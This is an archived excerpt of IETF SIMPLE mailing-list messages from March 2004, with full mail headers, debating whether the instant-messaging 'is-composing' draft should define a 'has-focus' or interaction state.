	for simple-archive@ietf.org; Tue, 09 Mar 2004 17:26:54 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B0pfi-0006cm-00
	for simple-archive@ietf.org; Tue, 09 Mar 2004 17:25:58 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0peu-0006Tr-00; Tue, 09 Mar 2004 17:25:08 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B0pep-0000hx-Bo; Tue, 09 Mar 2004 17:25:03 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B0pdo-0000dn-Kk
	for simple@optimus.ietf.org; Tue, 09 Mar 2004 17:24:00 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA02728
	for <simple@ietf.org>; Tue, 9 Mar 2004 17:23:57 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0pdm-0006It-00
	for simple@ietf.org; Tue, 09 Mar 2004 17:23:58 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B0pcp-00069e-00
	for simple@ietf.org; Tue, 09 Mar 2004 17:23:00 -0500
Received: from numenor.qualcomm.com ([129.46.51.58])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0pc2-00060U-00
	for simple@ietf.org; Tue, 09 Mar 2004 17:22:10 -0500
Received: from magus.qualcomm.com (magus.qualcomm.com [129.46.61.148])
	by numenor.qualcomm.com (8.12.10/8.12.5/1.0) with ESMTP id i29MLmnp020371
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Tue, 9 Mar 2004 14:21:49 -0800 (PST)
Received: from [129.46.227.161] (carbuncle.qualcomm.com [129.46.227.161])
	by magus.qualcomm.com (8.12.10/8.12.5/1.0) with ESMTP id i29MLkVK022618;
	Tue, 9 Mar 2004 14:21:46 -0800 (PST)
Mime-Version: 1.0
X-Sender: hardie@mage.qualcomm.com
Message-Id: <p06020409bc73f2b5026c@[129.46.227.161]>
In-Reply-To: <404D9CF2.9010801@cs.columbia.edu>
References: <404C511B.7050506@cs.columbia.edu>
 <404D6702.1080701@dynamicsoft.com> <404D9CF2.9010801@cs.columbia.edu>
To: Henning Schulzrinne <hgs@cs.columbia.edu>,
        Jonathan Rosenberg <jdrosen@dynamicsoft.com>
From: Ted Hardie <hardie@qualcomm.com>
Subject: Re: [Simple] is-composing: has-focus?
Cc: Simple WG <simple@ietf.org>
Content-Type: text/plain; charset="us-ascii" ; format="flowed"
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 9 Mar 2004 14:21:44 -0800
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60

At 5:31 AM -0500 03/09/2004, Henning Schulzrinne wrote:
>
>I doubt this is the most important feature in IM systems, but it 
>would be much harder to add later than now, so I'd rather settle 
>this now.
>
>Henning

I certainly agree with the first part of the statement, but I'm a bit concerned
about the second. There are lots of systems for which the "focus" metaphor
doesn't work all that well (if a flip phone is open when the IM comes through,
is that "focus"?), and I'm concerned that working through them might
be a distraction for low value, especially if later states are needed.

As a simplifying proposal, is there an *action* (like typing) that can
be used to express this, rather than an "interaction state"?   If so,
I'd more inclined to say throw that action in, rather than trying to
get a "state" defined.

Again, just my two cents.
			regards,
				Ted Hardie

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Tue Mar  9 17:27:25 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA02898
	for <simple-archive@odin.ietf.org>; Tue, 9 Mar 2004 17:27:25 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B0pgg-0000tc-Pn
	for simple-archive@odin.ietf.org; Tue, 09 Mar 2004 17:26:58 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i29MQwB2003438
	for simple-archive@odin.ietf.org; Tue, 9 Mar 2004 17:26:58 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B0pgg-0000tN-Le
	for simple-web-archive@optimus.ietf.org; Tue, 09 Mar 2004 17:26:58 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA02883
	for <simple-web-archive@ietf.org>; Tue, 9 Mar 2004 17:26:55 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0pge-0006mG-00
	for simple-web-archive@ietf.org; Tue, 09 Mar 2004 17:26:56 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B0pfj-0006cx-00
	for simple-web-archive@ietf.org; Tue, 09 Mar 2004 17:25:59 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0peu-0006Tr-00; Tue, 09 Mar 2004 17:25:08 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B0pep-0000hx-Bo; Tue, 09 Mar 2004 17:25:03 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B0pdo-0000dn-Kk
	for simple@optimus.ietf.org; Tue, 09 Mar 2004 17:24:00 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA02728
	for <simple@ietf.org>; Tue, 9 Mar 2004 17:23:57 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0pdm-0006It-00
	for simple@ietf.org; Tue, 09 Mar 2004 17:23:58 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B0pcp-00069e-00
	for simple@ietf.org; Tue, 09 Mar 2004 17:23:00 -0500
Received: from numenor.qualcomm.com ([129.46.51.58])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0pc2-00060U-00
	for simple@ietf.org; Tue, 09 Mar 2004 17:22:10 -0500
Received: from magus.qualcomm.com (magus.qualcomm.com [129.46.61.148])
	by numenor.qualcomm.com (8.12.10/8.12.5/1.0) with ESMTP id i29MLmnp020371
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Tue, 9 Mar 2004 14:21:49 -0800 (PST)
Received: from [129.46.227.161] (carbuncle.qualcomm.com [129.46.227.161])
	by magus.qualcomm.com (8.12.10/8.12.5/1.0) with ESMTP id i29MLkVK022618;
	Tue, 9 Mar 2004 14:21:46 -0800 (PST)
Mime-Version: 1.0
X-Sender: hardie@mage.qualcomm.com
Message-Id: <p06020409bc73f2b5026c@[129.46.227.161]>
In-Reply-To: <404D9CF2.9010801@cs.columbia.edu>
References: <404C511B.7050506@cs.columbia.edu>
 <404D6702.1080701@dynamicsoft.com> <404D9CF2.9010801@cs.columbia.edu>
To: Henning Schulzrinne <hgs@cs.columbia.edu>,
        Jonathan Rosenberg <jdrosen@dynamicsoft.com>
From: Ted Hardie <hardie@qualcomm.com>
Subject: Re: [Simple] is-composing: has-focus?
Cc: Simple WG <simple@ietf.org>
Content-Type: text/plain; charset="us-ascii" ; format="flowed"
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 9 Mar 2004 14:21:44 -0800
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60

At 5:31 AM -0500 03/09/2004, Henning Schulzrinne wrote:
>
>I doubt this is the most important feature in IM systems, but it 
>would be much harder to add later than now, so I'd rather settle 
>this now.
>
>Henning

I certainly agree with the first part of the statement, but I'm a bit concerned
about the second. There are lots of systems for which the "focus" metaphor
doesn't work all that well (if a flip phone is open when the IM comes through,
is that "focus"?), and I'm concerned that working through them might
be a distraction for low value, especially if later states are needed.

As a simplifying proposal, is there an *action* (like typing) that can
be used to express this, rather than an "interaction state"?   If so,
I'd more inclined to say throw that action in, rather than trying to
get a "state" defined.

Again, just my two cents.
			regards,
				Ted Hardie

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Tue Mar  9 22:15:08 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id WAA14691
	for <simple-archive@ietf.org>; Tue, 9 Mar 2004 22:15:08 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0uBY-0000Wg-00
	for simple-archive@ietf.org; Tue, 09 Mar 2004 22:15:08 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B0uAb-0000NU-00
	for simple-archive@ietf.org; Tue, 09 Mar 2004 22:14:10 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0u9n-0000Eg-00; Tue, 09 Mar 2004 22:13:19 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B0u9V-0007Fs-GM; Tue, 09 Mar 2004 22:13:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B0u8f-0007Ep-Kl
	for simple@optimus.ietf.org; Tue, 09 Mar 2004 22:12:09 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id WAA14632
	for <simple@ietf.org>; Tue, 9 Mar 2004 22:12:06 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0u8c-00003l-00
	for simple@ietf.org; Tue, 09 Mar 2004 22:12:06 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B0u7h-0007if-00
	for simple@ietf.org; Tue, 09 Mar 2004 22:11:10 -0500
Received: from [128.59.16.20] (helo=cs.columbia.edu)
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0u6s-0007Zt-00
	for simple@ietf.org; Tue, 09 Mar 2004 22:10:18 -0500
Received: from bear.cs.columbia.edu (IDENT:G6Y5VrTcViUqUbP3J/shRKGHUx6PV0mp@bear.cs.columbia.edu [128.59.16.121])
	by cs.columbia.edu (8.12.10/8.12.10) with ESMTP id i2A383Af017083
	(version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NOT);
	Tue, 9 Mar 2004 22:08:04 -0500 (EST)
Received: from cs.columbia.edu (pool-138-89-69-144.mad.east.verizon.net [138.89.69.144])
	(authenticated bits=0)
	by bear.cs.columbia.edu (8.12.9/8.12.9) with ESMTP id i2A382fG031907
	(version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT);
	Tue, 9 Mar 2004 22:08:03 -0500
Message-ID: <404E868C.6010809@cs.columbia.edu>
From: Henning Schulzrinne <hgs@cs.columbia.edu>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7a) Gecko/20040219
X-Accept-Language: en-us, en, de
MIME-Version: 1.0
To: Ted Hardie <hardie@qualcomm.com>
CC: Jonathan Rosenberg <jdrosen@dynamicsoft.com>, Simple WG <simple@ietf.org>
Subject: Re: [Simple] is-composing: has-focus?
References: <404C511B.7050506@cs.columbia.edu> <404D6702.1080701@dynamicsoft.com> <404D9CF2.9010801@cs.columbia.edu> <p06020409bc73f2b5026c@[129.46.227.161]>
In-Reply-To: <p06020409bc73f2b5026c@[129.46.227.161]>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 09 Mar 2004 22:07:56 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.60
Content-Transfer-Encoding: 7bit

> I certainly agree with the first part of the statement, but I'm a bit 
> concerned
> about the second. There are lots of systems for which the "focus" metaphor
> doesn't work all that well (if a flip phone is open when the IM comes 
> through,
> is that "focus"?), and I'm concerned that working through them might
> be a distraction for low value, especially if later states are needed.

I would argue for simplicity here: "if there is no obvious window system 
that has the notion of input focus, that state just can't occur".

> 
> As a simplifying proposal, is there an *action* (like typing) that can
> be used to express this, rather than an "interaction state"?   If so,
> I'd more inclined to say throw that action in, rather than trying to
> get a "state" defined.

I'm confused by this paragraph. The current draft already defines typing 
as a state and that has been non-controversial for a while. I'm not 
quite sure what you are suggesting here.


> 
> Again, just my two cents.
>             regards,
>                 Ted Hardie

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Tue Mar  9 22:15:40 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id WAA14723
	for <simple-archive@odin.ietf.org>; Tue, 9 Mar 2004 22:15:39 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B0uBc-0007NQ-Tn
	for simple-archive@odin.ietf.org; Tue, 09 Mar 2004 22:15:13 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i2A3FCWO028353
	for simple-archive@odin.ietf.org; Tue, 9 Mar 2004 22:15:12 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B0uBc-0007NE-Kr
	for simple-web-archive@optimus.ietf.org; Tue, 09 Mar 2004 22:15:12 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id WAA14702
	for <simple-web-archive@ietf.org>; Tue, 9 Mar 2004 22:15:08 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0uBZ-0000Wl-00
	for simple-web-archive@ietf.org; Tue, 09 Mar 2004 22:15:09 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B0uAc-0000Nb-00
	for simple-web-archive@ietf.org; Tue, 09 Mar 2004 22:14:10 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0u9n-0000Eg-00; Tue, 09 Mar 2004 22:13:19 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B0u9V-0007Fs-GM; Tue, 09 Mar 2004 22:13:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B0u8f-0007Ep-Kl
	for simple@optimus.ietf.org; Tue, 09 Mar 2004 22:12:09 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id WAA14632
	for <simple@ietf.org>; Tue, 9 Mar 2004 22:12:06 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0u8c-00003l-00
	for simple@ietf.org; Tue, 09 Mar 2004 22:12:06 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B0u7h-0007if-00
	for simple@ietf.org; Tue, 09 Mar 2004 22:11:10 -0500
Received: from [128.59.16.20] (helo=cs.columbia.edu)
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0u6s-0007Zt-00
	for simple@ietf.org; Tue, 09 Mar 2004 22:10:18 -0500
Received: from bear.cs.columbia.edu (IDENT:G6Y5VrTcViUqUbP3J/shRKGHUx6PV0mp@bear.cs.columbia.edu [128.59.16.121])
	by cs.columbia.edu (8.12.10/8.12.10) with ESMTP id i2A383Af017083
	(version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NOT);
	Tue, 9 Mar 2004 22:08:04 -0500 (EST)
Received: from cs.columbia.edu (pool-138-89-69-144.mad.east.verizon.net [138.89.69.144])
	(authenticated bits=0)
	by bear.cs.columbia.edu (8.12.9/8.12.9) with ESMTP id i2A382fG031907
	(version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT);
	Tue, 9 Mar 2004 22:08:03 -0500
Message-ID: <404E868C.6010809@cs.columbia.edu>
From: Henning Schulzrinne <hgs@cs.columbia.edu>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7a) Gecko/20040219
X-Accept-Language: en-us, en, de
MIME-Version: 1.0
To: Ted Hardie <hardie@qualcomm.com>
CC: Jonathan Rosenberg <jdrosen@dynamicsoft.com>, Simple WG <simple@ietf.org>
Subject: Re: [Simple] is-composing: has-focus?
References: <404C511B.7050506@cs.columbia.edu> <404D6702.1080701@dynamicsoft.com> <404D9CF2.9010801@cs.columbia.edu> <p06020409bc73f2b5026c@[129.46.227.161]>
In-Reply-To: <p06020409bc73f2b5026c@[129.46.227.161]>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 09 Mar 2004 22:07:56 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit

> I certainly agree with the first part of the statement, but I'm a bit 
> concerned
> about the second. There are lots of systems for which the "focus" metaphor
> doesn't work all that well (if a flip phone is open when the IM comes 
> through,
> is that "focus"?), and I'm concerned that working through them might
> be a distraction for low value, especially if later states are needed.

I would argue for simplicity here: "if there is no obvious window system 
that has the notion of input focus, that state just can't occur".

> 
> As a simplifying proposal, is there an *action* (like typing) that can
> be used to express this, rather than an "interaction state"?   If so,
> I'd more inclined to say throw that action in, rather than trying to
> get a "state" defined.

I'm confused by this paragraph. The current draft already defines typing 
as a state and that has been non-controversial for a while. I'm not 
quite sure what you are suggesting here.


> 
> Again, just my two cents.
>             regards,
>                 Ted Hardie

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Wed Mar 10 01:23:23 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA21960
	for <simple-archive@ietf.org>; Wed, 10 Mar 2004 01:23:23 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0x7i-00003I-00
	for simple-archive@ietf.org; Wed, 10 Mar 2004 01:23:22 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B0x6u-0007gF-00
	for simple-archive@ietf.org; Wed, 10 Mar 2004 01:22:33 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0x6B-0007Vx-00; Wed, 10 Mar 2004 01:21:47 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B0x5S-0000dM-Hd; Wed, 10 Mar 2004 01:21:02 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B0x4p-0000cZ-MR
	for simple@optimus.ietf.org; Wed, 10 Mar 2004 01:20:23 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA21869
	for <simple@ietf.org>; Wed, 10 Mar 2004 01:20:22 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0x4m-0007Ku-00
	for simple@ietf.org; Wed, 10 Mar 2004 01:20:20 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B0x3r-0007Bn-00
	for simple@ietf.org; Wed, 10 Mar 2004 01:19:24 -0500
Received: from sj-iport-1-in.cisco.com ([171.71.176.70] helo=sj-iport-1.cisco.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0x3U-00072C-00
	for simple@ietf.org; Wed, 10 Mar 2004 01:19:00 -0500
Received: from mira-sjc5-e.cisco.com (IDENT:mirapoint@mira-sjc5-e.cisco.com [171.71.163.15])
	by sj-core-1.cisco.com (8.12.10/8.12.6) with ESMTP id i2A6ITM7014393;
	Tue, 9 Mar 2004 22:18:29 -0800 (PST)
Received: from [10.0.1.3] (rtp-vpn1-53.cisco.com [10.82.224.53])
	by mira-sjc5-e.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id ANB80123;
	Tue, 9 Mar 2004 22:18:28 -0800 (PST)
User-Agent: Microsoft-Entourage/10.1.4.030702.0
Subject: Re: [Simple] is-composing: has-focus?
From: Cullen Jennings <fluffy@cisco.com>
To: Henning Schulzrinne <hgs@cs.columbia.edu>,
        Jonathan Rosenberg <jdrosen@dynamicsoft.com>
CC: <simple@ietf.org>
Message-ID: <BC73F261.34B84%fluffy@cisco.com>
In-Reply-To: <404D9CF2.9010801@cs.columbia.edu>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 09 Mar 2004 22:14:57 -0800
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.1 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit


There are a lot of types of focus in a UI. It could be keyboard focus, mouse
focus, window frame was in foreground, the virtual desktop was in focus, the
voice recognition stuff was in focus, the gesture recognition system was in
focus for this window. Hmm, the combination of gesture recognition and
emoticons is quite interesting now that I think about it.

Seriously, I think that focus is how the window system abstracts the
application from knowing about what devices it is currently has and giving
the application the virtual impression that it has access to all the human
interface devices. Breaking this abstraction is generally bad. Making
protocol explicitly require application to break this abstraction does not
seem good. 

Providing a fuzzy metric of how much the user is paying attention to this
application might be a good idea but has a lot of issues ranging from how
would the application compute this to what policies would be used to reveal
it. 

Cullen





On 3/9/04 2:31 AM, "Henning Schulzrinne" <hgs@cs.columbia.edu> wrote:

> 
> 
> Jonathan Rosenberg wrote:
> 
>> Firstly, "has-focus" is probably a bad name, since its dangerously close
>> to "is-focus" which means something entirely different in the SIP
>> specifications...
> 
> We have another "session" word :-)
> 
>> 
>> Secondly, does this really provide useful information? Just because the
>> window doesnt have focus doesnt mean I'm not paying attention. Indeed, I
>> frequently look at another window while a user is typing to me (often
>> another IM conversation). Or, to ask more concretely, how would a user
>> change their behavior in knowing that my IM window didnt have focus?
> 
> Probably mostly the converse: if the IM application doesn't have focus
> and I don't get any response, it may well be that my counterpart is
> distracted.
> 
> The problem is similar to <idle>: it's an observation that approximates
> an unobservable reality. A long idle time may just mean that you're
> reading next to your PC, but it might also explain why you're not answering.
> 
> One possible generic solution is to define an 'interaction state'
> variable and allow multiple values, including 'composing' and
> 'out-of-focus'.
> 
> I doubt this is the most important feature in IM systems, but it would
> be much harder to add later than now, so I'd rather settle this now.
> 
> Henning
> 
> _______________________________________________
> Simple mailing list
> Simple@ietf.org
> https://www1.ietf.org/mailman/listinfo/simple
> 


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Wed Mar 10 01:23:55 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA22018
	for <simple-archive@odin.ietf.org>; Wed, 10 Mar 2004 01:23:55 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B0x7m-0000yE-AV
	for simple-archive@odin.ietf.org; Wed, 10 Mar 2004 01:23:26 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i2A6NQTM003724
	for simple-archive@odin.ietf.org; Wed, 10 Mar 2004 01:23:26 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B0x7m-0000xz-5N
	for simple-web-archive@optimus.ietf.org; Wed, 10 Mar 2004 01:23:26 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA21978
	for <simple-web-archive@ietf.org>; Wed, 10 Mar 2004 01:23:24 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0x7j-00003W-00
	for simple-web-archive@ietf.org; Wed, 10 Mar 2004 01:23:23 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B0x6v-0007gM-00
	for simple-web-archive@ietf.org; Wed, 10 Mar 2004 01:22:34 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0x6B-0007Vx-00; Wed, 10 Mar 2004 01:21:47 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B0x5S-0000dM-Hd; Wed, 10 Mar 2004 01:21:02 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B0x4p-0000cZ-MR
	for simple@optimus.ietf.org; Wed, 10 Mar 2004 01:20:23 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
